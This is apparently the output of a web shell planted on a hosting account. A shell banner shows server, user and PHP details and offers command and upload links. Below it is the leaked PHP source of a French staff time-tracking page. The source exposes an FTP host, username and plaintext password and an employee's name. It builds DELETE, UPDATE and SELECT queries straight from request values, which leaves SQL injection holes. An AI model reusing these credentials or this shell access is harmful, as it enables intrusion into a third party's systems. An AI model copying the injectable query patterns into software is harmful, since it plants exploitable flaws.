|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "<pre>" ;
// print_r($_SESSION) ;
// echo "</pre>" ;
if($_SESSION["id_etab"]== 111){
$where_etablissement_id="" ;
}
else{
$where_etablissement_id = " AND etablissement_id = ".$_SESSION["id_etab"] ;
}
session_start();
if(!empty($_GET))
{
$idprod=$_GET['id'];
// echo "==> $idprod cv<br/>" ;
dbi_query("delete from telepointage where id_p = $idprod ") ;
header('Location:anomalies_fin.php');
}
if($_POST['modifier']== "modifier"){
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
$idprodm=$_POST['idprodm'] ;
$action=$_POST['action'] ;
// echo "==> $idprodm <br/>" ;
// exit() ;
// dbi_query("UPDATE telepointage SET matricule = $salarie_id WHERE id_p = $idprodm ") ;
dbi_query("UPDATE `telepointage` SET `action` = '$action' WHERE `telepointage`.`id_p` = $idprodm ") ;
// = 5420;
header('Location:anomalies_fin.php');
}
function check_null($value)
{
if(empty($value))
{
return 0;
}
else{
return $value;
}
}
$my_connection = ftp_connect("telegestion.appius.fr", 21) or exit('Erreur : connexion au serveur FTP impossible.');
ftp_login($my_connection, "AD_636", "AC4BRT9F");
ftp_pasv($my_connection, true);
$liste_fichiers = ftp_nlist($my_connection, '/sortie');
// print_r($liste_fichiers ) ;
// exit() ;
foreach($liste_fichiers as $fichier)
{
// echo $fichier. '<br/>';
$ret = ftp_nb_get($my_connection, "input.txt", $fichier, FTP_BINARY);
while ($ret == FTP_MOREDATA) {
// Faites ce que vous voulez...
// echo ".";
// Continue le téléchargement...
$ret = ftp_nb_continue($my_connection);
}
if ($ret != FTP_FINISHED) {
echo "Il y a eu un problème lors du téléchargement...";
exit(1);
}
ftp_delete($my_connection, $fichier) ;
$file = fopen("input.txt","r");
while(! feof($file))
{
$line = fgets($file);
$row = explode(";", $line);
$agence = check_null($row[0]);
$jour = check_null($row[1]);
$heure = check_null($row[2]);
$telephone = check_null($row[3]);
$matricule = check_null($row[5]);
$action = check_null($row[6]);
// echo "==> $jour ";
if($heure != 0)
{
$jour = dateMCPROint($jour) ;
$query = "INSERT INTO `telepointage`(`agence`, `jour`, `heure`, `telephone`, `matricule`, `action`) VALUES ('$agence', '$jour', '$heure', '$telephone', '$matricule', '$action')";
dbi_query($query) ;
}
}
// echo "<h2 align='center'>All Rows of Files are inserted successfully</h2>";
fclose($file);
}
//================================================ la mise a jour des id_client dans la télépointage ========================================================//
$qIo =dbi_query("SELECT * FROM `telepointage` WHERE jour >= 20210801 AND (`client_id` IS NULL OR client_id = 0 )") ;
while($j= dbi_fetch_row($qIo))
{
$telephone= $j['telephone'] ;
list($client_id) = dbi_fetch_row(dbi_query("SELECT client_id FROM `client` WHERE `tele1` LIKE '$telephone' or `tele2` LIKE '$telephone' or `tele3` LIKE '$telephone' or `tele4` LIKE '$telephone' or `tele5` LIKE '$telephone' ")) ;
// echo "$telephone ==> $client_id <br/>" ;
dbi_query("UPDATE `telepointage` SET `client_id` = '$client_id' WHERE `id_p` = ".$j['id_p'] );
}
//=============================================================================================================================================================//
?><html>
<head>
<?php include('header.php'); ?>
<!-- fullCalendar -->
<link rel="stylesheet" href="../plugins/fullcalendar/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-daygrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-timegrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-bootstrap/main.min.css">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<li>
<a href="fourinc.php"><button type="button" class="btn btn-info"></i> Retour </button>
</li>
</ul>
</nav>
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<a href="index3.html" class="brand-link">
<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3"
style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO</span>
</a>
<div class="sidebar">
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="image">
<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
</div>
<div class="info">
<a href="index.php" class="d-block">Steeven ROBLOT</a>
</div>
</div>
<?php include('menu.php'); ?>
</div>
</aside>
<div class="content-wrapper">
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1>Anomalies Fin</h1>
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
<li class="breadcrumb-item"><a href="indexpointages3.php">Pointages</a></li>
<li class="breadcrumb-item"><a href="fourinc.php">Anomalies</a></li>
<li class="breadcrumb-item active">Anomalies Fin </li>
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- Content Header (Page header) -->
<div class="row mb-2">
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" >
</div>
</div>
</div>
</div>
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<section class="content">
<div class="row">
<div class="col-12">
<div class="modal fade" id="myModal2" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div class="modal-header">
<h4 class="modal-title">planning client</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div id="fetch2" ></div>
<div id="calendar"></div>
</div>
</div>
</div>
<div class="card">
<div class="card-body">
<?php
$ismai = $_SESSION['ans']."".$_SESSION['mois'] ;
if(!empty($_POST['mois']))
{
$_SESSION['mois'] = $_POST['mois'] ;
$_SESSION['ans'] = $_POST['ans'] ;
$ismai = $_POST['ans']."".$_POST['mois'] ;
}
if(empty($_POST['mois']) AND empty($_SESSION['mois']) )
{
$ismai = date("Ym") ;
// echo "ppp=> $ismai <br/>" ;
}
// $_SESSION['favcolor'] = 'green';
// if(!empty($_GET['idans']))
// {
// $_SESSION['idans'] = $_GET['idans'];
// }
// elseif(empty($_GET['id']))
// {
// $_SESSION['idans'] = date("Ym");
// }
// $ismai = date("m");
// $an = $_SESSION['idans'] ;
// if(!empty($_GET['id']))
// {
// $ismai=$an."".$_GET['id'] ;
// }
// if(empty($_GET['id']))
// {
// $ismai = $an."".$ismai ;
// }
// echo " SELECT * FROM `telepointage` where `jour` LIKE '$ismai%' and (matricule='0' OR client_id = '0' OR client_id IS NULL) ORDER BY `telepointage`.`jour` ASC " ;
// echo "===>$an <br/>" ;
// echo "===>$ismai <br/>" ;
// echo "<pre>" ;
// print_r($_GET) ;
// echo "<pre>" ;
?>
<form id="bureau_mois" name="mois_form" method="POST" action="">
<div class="form-row">
<div class="form-group col-md-4">
<div class="input-group">
<?php $qm = dbi_query("SELECT * FROM `client` WHERE `client_statut` = '1'") ; ?>
<select class="form-control select" style="width: 100%;" name="mois" onchange="GetIdmois()";>
<option selected="selected">selectionner un mois </option>
<option value='01' <?php if($_SESSION['mois']== '01'){echo 'SELECTED ' ; }?> > Janvier </option>
<option value='02' <?php if($_SESSION['mois']== '02'){echo 'SELECTED ' ; }?> > Février </option>
<option value='03' <?php if($_SESSION['mois']== '03'){echo 'SELECTED ' ; }?> > Mars </option>
<option value='04' <?php if($_SESSION['mois']== '04'){echo 'SELECTED ' ; }?> > Avril </option>
<option value='05' <?php if($_SESSION['mois']== '05'){echo 'SELECTED ' ; }?> > Mai </option>
<option value='06' <?php if($_SESSION['mois']== '06'){echo 'SELECTED ' ; }?> > Juin </option>
<option value='07'<?php if($_SESSION['mois']== '07'){echo 'SELECTED ' ; }?> > Juillet </option>
<option value='08' <?php if($_SESSION['mois']== '08'){echo 'SELECTED ' ; }?> > Aout </option>
<option value='09' <?php if($_SESSION['mois']== '09'){echo 'SELECTED ' ; }?> > Septembre </option>
<option value='10' <?php if($_SESSION['mois']== '10'){echo 'SELECTED ' ; }?> > Octobre </option>
<option value='11' <?php if($_SESSION['mois']== '11'){echo 'SELECTED ' ; }?> > Novembre </option>
<option value='12' <?php if($_SESSION['mois']== '12'){echo 'SELECTED ' ; }?> > Décembre </option>
</select>
</div>
</div>
<div class="form-group col-md-4">
<div class="input-group">
<select class="form-control select" style="width: 100%;" name="ans" onchange="GetIdans()";>
<option selected="selected">selectionner un année </option>
<option value='2020' <?php if($_SESSION['ans']== '2020'){echo 'SELECTED ' ; }?> > 2020 </option>
<option value='2021' <?php if($_SESSION['ans']== '2021'){echo 'SELECTED ' ; }?> > 2021 </option>
<option value='2022' <?php if($_SESSION['ans']== '2022'){echo 'SELECTED ' ; }?> > 2022 </option>
<option value='2023' <?php if($_SESSION['ans']== '2023'){echo 'SELECTED ' ; }?> > 2023 </option>
<option value='2024' <?php if($_SESSION['ans']== '2024'){echo 'SELECTED ' ; }?> > 2024 </option>
<option value='2025' <?php if($_SESSION['ans']== '2025'){echo 'SELECTED ' ; }?> > 2025 </option>
<option value='2026' <?php if($_SESSION['ans']== '2026'){echo 'SELECTED ' ; }?> > 2026 </option>
</select>
</div>
</div>
<div class="form-group col-md-4">
<div class="input-group">
<button type="submit" name="Afficher" class="btn btn-primary">Afficher </button>
</div>
</div>
</div>
</form>
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<div id="tab">
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<TR>
<th align="center">Date</th>
<th align="center">Salarié</th>
<th align="center">Client</th>
<th align="center">Heure</th>
<th align="center">Telephone</th>
<th align="center">Mat.</th>
<th align="center">Deb/Fin</th>
<th align="center"></th>
</TR>
</thead>
<tbody>
<?php
// $qa = dbi_query(" SELECT * FROM telepointage a , telepointage b where a.client_id != 0 AND a.jour = b.jour AND a.matricule = b.matricule AND a.client_id= b.client_id AND a.id_p != b.id_p AND a.action = 'FIN' AND b.action = 'FIN' AND a.jour LIKE '$ismai%' ORDER BY a.jour ASC") ;
$qa = dbi_query(" SELECT * FROM telepointage a , telepointage b , client c where a.client_id != 0 AND a.jour = b.jour AND a.matricule = b.matricule AND a.client_id= b.client_id AND a.client_id = c.client_id AND a.id_p != b.id_p AND a.action = 'FIN' AND b.action = 'FIN' AND a.pointage_valider = 0 AND a.jour LIKE '$ismai%' $where_etablissement_id ORDER BY a.jour ASC") ;
// echo "SELECT * FROM telepointage a , telepointage b where a.jour = b.jour AND a.matricule = b.matricule AND a.telephone= b.telephone AND a.id_p != b.id_p AND a.action = 'FIN' AND b.action = 'FIN' AND a.jour LIKE '$ismai%' ORDER BY a.jour ASC" ;
while($tel = dbi_fetch_row($qa)) { ?>
<?php list($inter_nom , $inter_pnom) = dbi_fetch_row(dbi_query(" SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$tel['matricule'])) ; ?>
<?php $tele =$tel['telephone'] ;
list($client_nom,$client_id ) = dbi_fetch_row(dbi_query("SELECT client_nom,client_id FROM `client` WHERE `tele1` LIKE '$tele' OR `tele2` LIKE '$tele' OR `tele3` LIKE '$tele' OR `tele4` LIKE '$tele' OR `tele5` LIKE '$tele'")) ;
// echo "$inter_nom==$inter_pnom <br/>" ;
?>
<tr>
<td> <?php echo int2date($tel['jour']) ; ?> </td>
<td> <?php echo $inter_nom." ".$inter_pnom; ?> </td>
<td> <?php echo $client_nom ; ?> </td>
<td> <?php echo $tel['heure'] ; ?> </td>
<td> <?php echo $tel['telephone'] ; ?> </td>
<td> <?php echo $tel['matricule'] ; ?> </td>
<td> <?php echo $tel['action'] ; ?> </td>
<TD align="center" nowrap> <?php if(isset($client_id) && $client_id > 0 ) echo '<a class="btn btn-primary btn-sm" data-userid="'.int2date($tel['jour'],'Y-m-d').'" href="#myModal2" id="custId" data-toggle="modal" data-id="'.$client_id.'"><i class="fas fa-file"> Voir planning</i></a>'; else echo "problème client";?>
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$tel['id_p'].'"><i class="fas fa-pencil-alt"> Editer</i></a>';?>
</a>
<a class="btn btn-danger btn-sm" href="?action=sup&id=<?=$tel['id_p']?>" onclick="return confirm('Voulez-vous vraiment supprimer ce pointage ?');">
<i class="fas fa-trash"></i> Supprimer</a>
</i>
</a>
</TD>
</tr>
<?php }?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<?php include('footerr.php'); ?>
<!-- fullCalendar 2.2.5 -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/fullcalendar/main.min.js"></script>
<script src="../plugins/fullcalendar-daygrid/main.min.js"></script>
<script src="../plugins/fullcalendar-timegrid/main.min.js"></script>
<script src="../plugins/fullcalendar-interaction/main.min.js"></script>
<script src="../plugins/fullcalendar-bootstrap/main.min.js"></script>
<script src='../plugins/fullcalendar/locales/fr.js'></script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxModif_fin.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
$('#myModal2').on('show.bs.modal', function (e) {
var client_id = $(e.relatedTarget).data('id');
var date_client = $(e.relatedTarget).data('userid');
// alert(date_client);
$('#calendar').html(null);
$('#fetch2').html(null);
let calendarEl = document.getElementById('calendar');
let calendar = new FullCalendar.Calendar(calendarEl, {
locale: 'fr',
plugins: [ 'bootstrap', 'interaction', 'dayGrid', 'timeGrid' ],
firstDay: 1,
defaultDate: date_client,
showNonCurrentDates: false,
fixedWeekCount: false,
header : {
left : 'prev,next today',
center: 'title',
right : 'dayGridMonth,timeGridWeek,timeGridDay'
},
businessHours: {
daysOfWeek: [ 0,1, 2, 3, 4,5,6 ], // Monday - Thursday
startTime: '06:00', // a start time (10am in this example)
endTime: '19:00', // an end time (6pm in this example)
},
events: 'planning.php?date='+date_client+'&client_id='+client_id,
selectable:true,
selectHelper:true,
editable:false
});
calendar.setOption('locale', 'fr');
calendar.render();
// alert(rowid);
});
});
</script>
</body>
</html>
